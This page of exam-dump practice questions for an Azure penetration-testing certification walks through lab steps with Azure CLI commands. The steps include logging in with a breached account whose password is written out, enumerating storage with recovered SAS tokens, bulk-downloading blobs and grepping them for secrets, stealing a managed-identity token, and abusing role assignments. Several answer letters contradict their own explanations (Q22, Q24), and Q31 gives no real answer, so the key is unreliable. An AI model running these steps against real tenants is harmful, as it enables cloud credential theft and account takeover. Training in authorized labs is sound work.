
CCPenX-Az Sample Practice Exam Questions 2026 Updated Verified
Exam Study Guide Free Practice Test LAST UPDATED CCPenX-Az
NEW QUESTION # 19
While exploring the table storage, you've uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers. Which of the following containers is available?
- A. confidential-store
- B. secure-dumps
- C. sensitive-files
- D. private-data
Answer: C
Explanation:
Detailed Solution:
From Q7, you should recover a limited-access SAS token or storage access information.
Set the storage account name and SAS token:
ACCOUNT= " excaliburstore "
SAS= " < recovered-sas-token > "
List containers:
az storage container list \
--account-name " $ACCOUNT " \
--sas-token " $SAS " \
--output table
The available container is:
sensitive-files
You can also confirm directly:
az storage blob list \
--account-name " $ACCOUNT " \
--container-name sensitive-files \
--sas-token " $SAS " \
--output table
Final answer:
C). sensitive-files
NEW QUESTION # 20
ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal data. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker's actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.
Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u [email protected] -p ' pg:Lr{k102l(fh7! ' After successful authentication, check the active Azure subscription context.
az account show
The important fields are:
{
" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,
" name " : " Azure subscription 1 " ,
" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,
" tenantDisplayName " : " ExcaliburCorp " ,
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final answer:
f015f36d-c07f-41fb-9bde-fffc3a22ee8b
NEW QUESTION # 21
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
- A. clientId
- B. objectId
- C. tenantId
- D. clientSecret
Answer: A
Explanation:
Detailed Solution:
Download the blob:
az storage blob download \
--account-name prodreportstore01 \
--container-name public-backups \
--name backup-config.json \
--file backup-config.json \
--auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" clientSecret " : " REDACTED "
}
The App Registration application/client ID is stored in:
clientId
NEW QUESTION # 22
You've uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment. Which of the following Microsoft Entra ID roles is assigned to this user?
- A. User Administrator
- B. Helpdesk Administrator
- C. Password Administrator
- D. Groups Administrator
Answer: A
Explanation:
Detailed Solution:
Log in using the credential recovered in Q4.
az login -u [email protected] -p ' < recovered-password > ' Confirm the current signed-in user:
az ad signed-in-user show --output json
Now enumerate the user's Microsoft Entra ID role memberships through Microsoft Graph.
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--output json
To display only role names:
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--query " value[].displayName " \
--output table
The relevant role is:
User Administrator
This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.
Final answer:
B). User Administrator
NEW QUESTION # 23
From inside the App Service environment, request an Azure Resource Manager token using the managed identity endpoint. Which resource value should be requested for Azure Resource Manager access?
- A. https://storage.azure.com/
- B. https://management.azure.com/
- C. https://graph.microsoft.com/
- D. https://vault.azure.net/
Answer: B
Explanation:
Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
The response contains:
{
" access_token " : " < jwt-token > " ,
" resource " : " https://management.azure.com/ " ,
" token_type " : " Bearer "
}
Correct option:
B). https://management.azure.com/
NEW QUESTION # 24
After authenticating as the service principal, enumerate its assigned Azure RBAC role. Which role does it have?
- A. Owner
- B. Reader
- C. Contributor
- D. Storage Account Contributor
Answer: C
Explanation:
Detailed Solution:
Resolve the service principal object ID:
az ad sp show \
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
--query id \
--output tsv
Then list role assignments:
SP_OBJECT_ID=$(az ad sp show \
--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \
--query id \
--output tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ----------- ----------------------------------------
< sp-object-id > Contributor /subscriptions/5d8e44ac-...
Correct answer:
B). Contributor
NEW QUESTION # 25
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
- A. Yes, if the vault is in the same resource group
- B. No, Contributor does not automatically grant Key Vault secret data-plane read
- C. No, service principals cannot access Key Vault
- D. Yes, Contributor includes secret read permissions
Answer: B
Explanation:
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
NEW QUESTION # 26
A compromised principal has permission to list role assignments. Identify which user has the User Access Administrator role at the resource group scope.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
[email protected]
Detailed Solution:
Run:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--all \
--output table
Or filter by role:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--role " User Access Administrator " \
--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \
--output table
Expected output:
Principal Role Scope
------------------------------------- ------------------------- ---------------------------- [email protected] User Access Administrator /subscriptions/.../rg-prod-apps-eastus Final answer:
[email protected]
NEW QUESTION # 27
Using the managed identity principal ID discovered in the previous task, identify which Azure RBAC role is assigned to it.
- A. Key Vault Secrets User
- B. Reader
- C. Storage Blob Data Reader
- D. Contributor
Answer: A
Explanation:
Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ---------------------- ---------------------------------------------- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.
NEW QUESTION # 28
You've gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
NEW QUESTION # 29
You have been given a breached Azure user credential for an authorized lab tenant:
[email protected]
After logging in, identify the Azure Tenant ID and Subscription ID associated with the account.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u [email protected] -p ' < password > ' Show the active Azure context:
az account show --output json
Expected relevant output:
{
" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,
" name " : " CloudCorp Security Lab " ,
" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.
NEW QUESTION # 30
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
NEW QUESTION # 31
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
NEW QUESTION # 32
......
The New CCPenX-Az 2026 Updated Verified Study Guides & Best Courses: https://www.itexamdownload.com/CCPenX-Az-valid-questions.html